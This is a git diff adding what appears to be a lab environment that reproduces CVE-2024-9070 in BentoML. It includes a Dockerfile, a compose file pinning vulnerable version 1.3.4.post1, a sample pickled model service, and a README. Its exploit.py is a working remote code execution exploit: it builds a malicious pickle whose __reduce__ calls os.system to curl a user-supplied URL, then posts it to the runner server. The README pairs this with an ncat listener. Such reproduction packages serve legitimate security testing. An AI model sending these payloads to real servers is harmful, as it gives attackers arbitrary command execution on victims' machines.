diff --git a/bentoml/cve-2024-9070/Dockerfile b/bentoml/cve-2024-9070/Dockerfile
new file mode 100644
index 0000000..3cb45d0
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+++ b/bentoml/cve-2024-9070/Dockerfile
@@ -0,0 +1,13 @@
+FROM ubuntu:22.04
+RUN mkdir /workdir
+WORKDIR /workdir
+RUN apt update  \
+    && apt install curl python3.11 python3-pip python3.11-venv -y
+ARG BENTOML_VERSION
+RUN pip3 install bentoml==${BENTOML_VERSION}
+COPY workdir/bentofile.yaml .
+COPY workdir/create.py .
+COPY workdir/service.py .
+RUN python3 create.py
+CMD bentoml build
+CMD bentoml start-runner-server --runner-name simple_model --working-dir . --host 0.0.0.0 --port 3000
diff --git a/bentoml/cve-2024-9070/README.md b/bentoml/cve-2024-9070/README.md
new file mode 100644
index 0000000..4584cb3
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+++ b/bentoml/cve-2024-9070/README.md
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+# vulnerble version setup
+
+```bash
+docker compose -f docker-compose-vulnerable.yml up
+```
+run the exploit:
+```
+ncat -klnv 1337
+python3 exploit.py
+```
+you'll receive a http request on port 1337 which means the exploit worked.
+
+# safe version setup
+
+there is no patched version
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diff --git a/bentoml/cve-2024-9070/docker-compose-vulnerable.yml b/bentoml/cve-2024-9070/docker-compose-vulnerable.yml
new file mode 100644
index 0000000..7193ee3
--- /dev/null
+++ b/bentoml/cve-2024-9070/docker-compose-vulnerable.yml
@@ -0,0 +1,8 @@
+services:
+  bentoml-vuln:
+    build:
+      context: .
+      args:
+        BENTOML_VERSION: 1.3.4.post1
+    ports:
+      - "3000:3000"
diff --git a/bentoml/cve-2024-9070/exploit.py b/bentoml/cve-2024-9070/exploit.py
new file mode 100644
index 0000000..22a9b0c
--- /dev/null
+++ b/bentoml/cve-2024-9070/exploit.py
@@ -0,0 +1,13 @@
+import pickle, os, requests
+
+url = input("Please specify the URL that will receive the callback: ")
+print(f"Command that will be executed: curl {url}")
+class P(object):
+    def __reduce__(self):
+        return (os.system, (f"curl {url}",))
+
+requests.post('http://127.0.0.1:3000/', data=pickle.dumps(P()),
+              headers = {
+                  "args-number": "3",
+                  "Content-Type": "application/vnd.bentoml.pickled",
+              })
diff --git a/bentoml/cve-2024-9070/workdir/bentofile.yaml b/bentoml/cve-2024-9070/workdir/bentofile.yaml
new file mode 100644
index 0000000..81b7fda
--- /dev/null
+++ b/bentoml/cve-2024-9070/workdir/bentofile.yaml
@@ -0,0 +1,13 @@
+service: "service.py"
+description: "A simple BentoML service"
+
+python:
+  packages:
+    - bentoml
+    - numpy
+
+models:
+  - tag: simple_model:latest
+
+include:
+  - "*.py"
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diff --git a/bentoml/cve-2024-9070/workdir/create.py b/bentoml/cve-2024-9070/workdir/create.py
new file mode 100644
index 0000000..4acd960
--- /dev/null
+++ b/bentoml/cve-2024-9070/workdir/create.py
@@ -0,0 +1,11 @@
+import bentoml
+import numpy as np
+
+class SimpleModel:
+    def predict(self, inputs):
+        return np.sum(inputs)
+    def __call__(self, inputs):
+        return self.predict(inputs)
+
+model = SimpleModel()
+bentoml.picklable_model.save_model("simple_model", model)
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diff --git a/bentoml/cve-2024-9070/workdir/service.py b/bentoml/cve-2024-9070/workdir/service.py
new file mode 100644
index 0000000..2e0e201
--- /dev/null
+++ b/bentoml/cve-2024-9070/workdir/service.py
@@ -0,0 +1,14 @@
+import bentoml
+from bentoml.io import NumpyNdarray
+import numpy as np
+
+model_runner = bentoml.picklable_model.get("simple_model:latest").to_runner()
+
+svc = bentoml.Service("simple_service", runners=[model_runner])
+
+@svc.api(input=NumpyNdarray(), output=NumpyNdarray())
+async def predict(input_data: np.ndarray):
+    input_columns = np.split(input_data, input_data.shape[1], axis=1)
+    result_generator = model_runner.async_run(input_columns, is_stream=True)
+    async for result in result_generator:
+        yield result
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